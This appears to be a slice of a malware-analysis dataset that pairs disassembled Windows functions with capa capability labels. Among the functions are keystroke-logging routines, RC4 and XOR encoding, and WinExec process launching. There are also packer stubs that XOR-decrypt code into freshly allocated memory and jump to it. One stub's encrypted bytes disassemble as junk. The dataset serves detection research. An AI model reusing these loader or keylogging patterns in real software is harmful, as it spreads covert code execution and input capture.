joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000be80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1000be8f
pop dword [ebp - 0x14]
mov eax, 0x93bddf86
add eax, 0x7c42df09
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x8d67c602
add dword [ebp - 0x24], 0xc0ea7f49
mov dword [ebp - 0x20], 0x648536cd
sub dword [ebp - 0x20], 0x3251ea88
mov dword [ebp - 0x1c], 0xcb190f2b
sub dword [ebp - 0x1c], 0x7ecccafd
mov dword [ebp - 0x18], 0x4b2af8e3
sub dword [ebp - 0x18], 0x4b2af8e3
lea eax, [ebp - 0x24]
push eax
mov eax, 0xcb26fc13
add eax, 0x44ded4f5
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xef0e4906
add dword [ebp - 0x24], 0x85642050
mov dword [ebp - 0x20], 0x96b285d3
sub dword [ebp - 0x20], 0x5546245e
mov dword [ebp - 0x1c], 0x8bb361d7
add dword [ebp - 0x1c], 0xd7bc0a95
mov dword [ebp - 0x18], 0x66dd783f
add dword [ebp - 0x18], 0x992287c1
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x52a6c
push 0
call eax
mov ecx, 0x5314
mov ebx, eax
mov edi, 0x10090e00
add edi, dword [ebp - 0x14]
mov edx, 0xe1f0d3a3
sub edx, 0xae22f24b
xor dword [ebp - 0x10], 0x7e333b27
mov esi, dword [edi]
sub dword [ebp - 8], 0x9974fd30
xor esi, edx
mov dword [ebx], esi
sub dword [ebp - 8], ebx
add ebx, 0x4d949674
add ebx, 0xb26b6990
add edi, 0x5df3a2f5
sub edi, 0x5df3a2f1
loop 0x1000bfa0
add eax, 0xb2ff2d70
sub eax, 0xb2fdee4d
xor ebx, ebx
add ebx, eax
add eax, 0x88d37a26
add eax, 0x772c85df
mov ecx, 0xd9a1d6f
add ecx, 0x265e291
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x10011620
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100578de
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x10083a30]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov ecx, dword [esi + 4]
cmp dword [ecx + 0x16], 0
mov eax, 0x32
je 0x1001172e
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp + 8]
call fcn.1000be80
mov edi, dword [esi + 4]
mov dword [ebp - 4], 0
call sym.ScCore.dll_public:_static_class_ScCore::Encoder_const____cdecl_ScCore::Encoder::getBinary_void_
cmp dword [edi + 0x12], eax
setne al
cmp byte [ebp + 0xc], 0
je 0x10011692
test al, al
je 0x10011692
mov eax, dword [edi + 0x22]
push eax
lea ecx, [ebp + 8]
call fcn.1000be80
mov ecx, dword [esi + 4]
mov edx, dword [ecx + 0x12]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp + 8]
call fcn.1000be80
mov edi, eax
test edi, edi
jne 0x100116d7
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x100116d7
mov edx, dword [esi + 4]
mov ecx, dword [edx + 0x16]
mov edx, dword [ebp - 0x14]
push ecx
push 1
push eax
push edx
call dword [sym.imp.msvcr100.dll_fwrite]
add esp, 0x10
cmp eax, 1
je 0x100116d7
mov edi, 0x34
mov eax, dword [esi + 4]
mov ecx, dword [eax + 0x16]
push ecx
call dword [sym.imp.msvcr100.dll_ferror]
add esp, 4
test eax, eax
je 0x10011702
mov edx, dword [esi + 4]
mov eax, dword [edx + 0x16]
push eax
call dword [sym.imp.msvcr100.dll_clearerr]
add esp, 4
mov edi, 0x34
jmp 0x1001171d
mov ecx, dword [esi + 4]
mov edx, dword [ecx + 0x16]
push edx
call dword [sym.imp.msvcr100.dll_ftell]
mov esi, dword [esi + 4]
add esp, 4
cmp eax, dword [esi + 0x1a]
jle 0x1001171d
mov dword [esi + 0x1a], eax
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0xffffffff
call sym.ScCore.dll_public:_void___thiscall_ScCore::String::destructor_void_
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10012490
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10057a35
mov eax, dword fs:[0]
push eax
sub esp, 0x81c
mov eax, dword [0x10083a30]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edi, ecx
mov edx, dword [edi]
mov dword [ebp - 0x814], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x820], edi
call eax
mov eax, dword [edi + 4]
lea ecx, [ebp - 0x824]
push ecx
lea edx, [ebp - 0x828]
push edx
add eax, 4
push eax
call fcn.1000be80
add esp, 0xc
test eax, eax
jne 0x1001253e
mov ecx, dword [edi + 4]
push 0x1005f994
push ecx
call fcn.1000be80
mov esi, eax
add esp, 8
test esi, esi
jne 0x10012672
mov edx, dword [edi + 4]
mov ebx, dword [edx + 0x16]
mov esi, dword [sym.imp.msvcr100.dll_fseek]
push 2
push eax
push ebx
call esi
add esp, 0xc
test eax, eax
je 0x10012548
mov eax, dword [edi]
mov edx, dword [eax + 0x10]
mov ecx, edi
call edx
mov eax, 0x34
jmp 0x10012674
mov esi, 0x30
jmp 0x10012672
push ebx
call dword [sym.imp.msvcr100.dll_ftell]
push 0
push 0
push ebx
mov edi, eax
call esi
add esp, 0x10
test eax, eax
je 0x10012576
mov ecx, dword [ebp - 0x820]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
call edx
mov eax, 0x34
jmp 0x10012674
mov eax, dword [ebp - 0x814]
push eax
lea ecx, [ebp - 0x81c]
call fcn.1000be80
mov ecx, dword [ebp - 0x818]
push 0x1005f9ec
push ecx
mov dword [ebp - 4], 0
call fcn.1000be80
mov esi, eax
add esp, 8
test esi, esi
jne 0x10012653
mov edx, dword [ebp - 0x818]
mov eax, dword [edx + 0x16]
mov dword [ebp - 0x814], eax
test edi, edi
je 0x10012611
mov esi, edi
cmp edi, 0x800
jbe 0x100125cf
mov esi, 0x800
push ebx
push 1
lea ecx, [ebp - 0x810]
push esi
push ecx
call dword [sym.imp.msvcr100.dll_fread]
add esp, 0x10
test eax, eax
je 0x10012692
mov edx, dword [ebp - 0x814]
push edx
push 1
lea eax, [ebp - 0x810]
push esi
push eax
call dword [sym.imp.msvcr100.dll_fwrite]
add esp, 0x10
test eax, eax
je 0x10012692
sub edi, esi
jne 0x100125c0
lea ecx, [ebp - 0x81c]
call sym.ScCore.dll_public_virtual:_int___thiscall_ScCore::File::close_void_
mov esi, eax
test esi, esi
jne 0x10012653
mov ecx, dword [ebp - 0x818]
add ecx, 4
push ecx
call fcn.1000be80
mov edx, dword [ebp - 0x824]
mov eax, dword [ebp - 0x828]
mov ecx, dword [ebp - 0x818]
push edx
push eax
add ecx, 4
push ecx
call fcn.100358a0
add esp, 0x10
mov esi, eax
mov ecx, dword [ebp - 0x820]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
lea ecx, [ebp - 0x81c]
mov dword [ebp - 4], 0xffffffff
call fcn.1000be80
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10054c82
mov esp, ebp
pop ebp
ret 4
mov esi, 0x34
jmp 0x10012653
Function at 0x100374d0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov esi, eax
test esi, esi
jne 0x100374fb
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
mov eax, dword [ebp - 8]
push eax
mov eax, esi
call fcn.1000be80
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
je 0x10037529
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
jne 0x10037522
mov eax, esi
mov dword [ebp - 4], eax
jmp 0x10037525
mov eax, dword [ebp - 4]
test eax, eax
jne 0x1003753b
lea ecx, [ebp - 8]
push ecx
push 0x100374a0
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [ebp - 4]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10037540
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x10083a30]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.1000be80
mov dword [ebp - 0x188], eax
test eax, eax
je 0x100376bb
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
je 0x10037595
mov edi, dword [sym.imp.USER32.dll_GetWindow]
mov ebx, dword [sym.imp.USER32.dll_GetParent]
push 4
push esi
call edi
test eax, eax
jne 0x10037591
push esi
call ebx
test eax, eax
je 0x10037595
mov esi, eax
jmp 0x10037581
push 0x100
lea eax, [ebp - 0x184]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x100376ab
push 0x80
lea ecx, [ebp - 0x84]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x100376ab
lea edx, [ebp - 0x184]
push edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, esi
jne 0x100376ab
test esi, esi
je 0x100376ab
push 0xfffffffffffffffc
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push esi
mov ebx, eax
call edi
mov ecx, dword [ebp - 0x188]
push 0
push ecx
mov esi, eax
call edi
mov edi, eax
test ebx, ebx
je 0x100376ab
cmp edi, esi
je 0x100376ab
mov ebx, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push esi
push edi
call ebx
test eax, eax
je 0x10037658
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
push esi
push edi
call ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054c82
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2000
call esi
push 2
lea ecx, [ebp - 0x190]
push ecx
push 0
push 0x2001
mov dword [ebp - 0x190], 0
call esi
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 2
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001
call esi
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054c82
mov esp, ebp
pop ebp
ret
Function at 0x100377b0
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0xc], 0
jne 0x100377c0
mov eax, dword [ecx + 4]
push eax
call dword [sym.imp.kernel32.dll_ResumeThread]
ret

Function at 0x100377e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005b5b3
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10083a30]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
xor edi, edi
mov dword [ebp - 4], edi
mov dword [esi], vtable.ScCore::Thread.0
mov dword [esi + 0xc], edi
mov byte [esi + 0x10], 1
call fcn.1000be80
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push sym.ScCore.dll_private:_static_unsigned_int___stdcall_ScCore::Thread::go_void__
push edi
push edi
mov dword [ebp - 0x18], edx
call dword [sym.imp.msvcr100.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10037869
mov dword [esi + 0xc], 0x20
mov dword [esi + 8], edi
mov dword [esi + 4], edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10]
mov dword [esi + 8], ecx
mov eax, dword [0x10083aa8]
cmp eax, edi
jne 0x1003787d
call sym.ScCore.dll_public:_static_class_ScCore::Context____cdecl_ScCore::Context::get_void_
mov edx, dword [ebp - 0x18]
mov dword [eax + 0x52], ebx
mov dword [eax + 0x56], edx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10037b60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083674]
cmp eax, 0xffffffff
je 0x10037bb0
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10037ba1
cmp esi, dword [0x10083be8]
jne 0x10037b8a
mov dword [0x10083be8], 0
mov ecx, esi
call fcn.100204a0
mov ecx, esi
call fcn.1000be80
push esi
call sub.msvcr100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [0x10083674]
push 0
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret

Function at 0x10037bc0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083be8]
test eax, eax
jne 0x10037c2a
mov eax, dword [0x10083674]
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
jne 0x10037c2a
push esi
push 0x16c
call sub.msvcr100.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x10037bf6
mov ecx, eax
call fcn.1000be80
mov esi, eax
jmp 0x10037bf8
xor esi, esi
cmp byte [0x10083be4], 0
jne 0x10037c12
mov ecx, esi
mov dword [0x10083be8], esi
call fcn.10020760
mov eax, esi
pop esi
ret
mov ecx, dword [0x10083674]
push esi
push ecx
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
call fcn.10020760
mov eax, esi
pop esi
ret

Function at 0x100437c0
Capabilities:
Encode data using xor

Disassembly:
movzx ecx, word [edx]
xor eax, eax
test cx, cx
je 0x100437e6
lea ebx, [ebx]
imul eax, eax, 0xf4243
movzx ecx, cx
add edx, 2
xor eax, ecx
movzx ecx, word [edx]
test cx, cx
jne 0x100437d0
ret
Function at 0xef4870
Capabilities:
Encode data using xor

Disassembly:
jmp 0xef487a
pushal
call 0xef4880
pop ebp
sub ebp, 0x10
sub ebp, 0xaf4870
jmp 0xef4896
mov eax, 0xaf4870
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c7
mov edx, 0xc7f75a58
xor byte [eax], dl
inc eax
dec ecx
jne 0xef48ad
jmp 0xef48c0
rcl dword [ebp + 0x5864d1d3], cl
pop eax
pop eax
fstp dword [ecx + 0x585858a0]
pop ebx
xchg ebp, eax
loopne 0xef4930
pop eax
pop eax
pop eax
loop 0xef4947
pop eax
pop eax
pop eax
scasd eax, dword es:[edi]
mov edx, 0xd9d3905b
push esp
pop eax
pop eax
pop eax
pop ebx
popfd
or ch, dl
cmp al, 0x7c
movsb byte es:[edi], byte [esi]
rcr dword [esp + edi*2 + 0x30], 1
call 0x3147c199
out 0x12, eax
salc
pop eax
pop ecx
je 0xef4977
xor byte [eax], dl
leave
xor ecx, ecx
leave
mov al, 0x5d
pop eax
pop eax
pop eax
mov cl, 0x76
pop eax
pop eax
pop eax
or eax, 0xddd3050c
push eax
pop eax
pop eax
pop eax
ror ebp, cl
push esp
pop eax
pop eax
pop eax
rcl ebp, cl
dec eax
aad 0x48
pop eax
pop eax
pop eax
cdq
mov cl, 0x5a
imul ebx, dword [edx - 0x25], 0x57115c9a
invalid
jl 0xef4907
cmp al, 0x7c
pop esp
lcall 0x5c7c, 0xd4d35854
pop eax
pop eax
pop eax
xor al, ch
movsd dword es:[edi], dword [esi]
js 0xef499c
xor bh, ah
adc dl, dh
salc
pop eax
pop ecx
je 0xef49c8
or dword [eax + 0x5858585d], esi
mov cl, 0x13
pop edx
pop eax
pop eax
aad 0x3c
jl 0xef48ff
sal dword [esp + edi*2 + 0xc], 1
add eax, 0xa7542da7
sub eax, 0x5820b050
pop eax
pop eax
shl ebp, cl
push eax
pop eax
pop eax
pop eax
imul edx, dword [ecx - 0x721c5527], 0x7b
mov eax, dword [0x8de3aad9]
jnp 0xef4920
jnp 0xef491a
fldcw word [edx - 0x5e84721d]
imul ecx, dword [edx + 0x105db0db], 0x57
fcom qword [esi]
pop eax
pop eax
pop eax
push edi
rcl byte [eax]
pop eax
pop eax
pop eax
rol dword ds:[ecx - 0x28], cl
mov dword [0x42dc57b0], eax
pop eax
pop eax
pop eax
fsub dword [ebx + 0x49dc57b1]
pop eax
pop eax
pop eax
fldenv ds:[ebx - 0x23a88259]
dec ebp
pop eax
pop eax
pop eax
sbb dword [ecx - 0x5858586c], esi
jno 0xef49ce
popal
pop ecx
fistp dword [ecx + 0x5cb0db5d]
mov cl, 0xe5
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
jno 0xef49d5
or al, 0x61
popal
pop edx
fistp dword [ecx + 0x5cb2db5e]
invalid
invalid
repe cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
sal dword [esp + edi*2 - 0x2b], cl
cmp al, 0x7c
pop esp
lcall 0xeb4, 0xd30d5854
invalid
Function at 0x457650
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x54589b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00536e5d
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4576d2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.005339c9
mov eax, dword [eax]
push 0x6b5dbc
push eax
call fcn.00506664
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.005370e8
test bl, bl
je 0x4576d2
push 0x6b5dbc
lea ecx, [esp + 0xc]
call fcn.005374c4
push 0x6b5dc8
lea ecx, [esp + 0xc]
call fcn.005374c4
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x45770e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.005370e8
jmp 0x4577d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x457792
lea edx, [esp + 0x7c]
push 0x6b5dc4
push edx
call fcn.00506664
add esp, 8
test eax, eax
je 0x457792
lea eax, [esp + 0x7c]
push 0x6b5dc0
push eax
call fcn.00506664
add esp, 8
test eax, eax
je 0x457792
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x457722
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.005370e8
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4
Function at 0x458470
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x54595b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x6cb470]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4585a8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4584d6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005370e8
xor eax, eax
jmp 0x45861f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00537271
push esi
lea ecx, [esp + 0xc]
call fcn.00537500
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x6b5e04
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4585fd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push 0x6b5dfc
push closesocket
call fcn.004ecbd0
test eax, eax
jne 0x4585fd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push 0x6b5de8
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.004ecbd0
test eax, eax
jne 0x4585fd
lea eax, [esp + 0x14]
push 0x6b5de0
push eax
call fcn.00507870
mov esi, eax
add esp, 8
test esi, esi
jne 0x4585dc
lea ecx, [esp + 0x14]
push 0x6b5ddc
push ecx
call fcn.005077f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4585dc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4585df
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00537221
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4584ee
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005370e8
xor eax, eax
jmp 0x45861f
mov byte [esi], 0
push 0x6b5dd8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.005370e8
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x46f030
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x46f09e
cmp si, 0x69
ja 0x46f09e
add esi, 0xffd0
cmp si, 0x11
je 0x46f06e
push 0x11
call edi
test ax, ax
jge 0x46f06e
or esi, 0x2000
cmp si, 0x10
je 0x46f083
push 0x10
call edi
test ax, ax
jge 0x46f083
or esi, 0x4000
cmp si, 0x12
je 0x46f098
push 0x12
call edi
test ax, ax
jge 0x46f098
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x46f0ab
mov esi, 0xbd
jmp 0x46f05f
cmp si, 0x6e
jne 0x46f0b8
mov esi, 0xbe
jmp 0x46f05f
cmp si, 0x6f
jne 0x46f059
mov esi, 0xbf
jmp 0x46f05f

Function at 0x470d20
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x6e6648]
xor edx, edx
cmp eax, edx
jne 0x470d46
xor eax, eax
mov byte [eax + 0x6e6548], al
inc eax
cmp eax, 0x100
jl 0x470d2e
mov dword [0x6e6648], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x6e6548
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x470dd7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x470daa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x470d78
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x470e50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x470ea3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x470e8a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret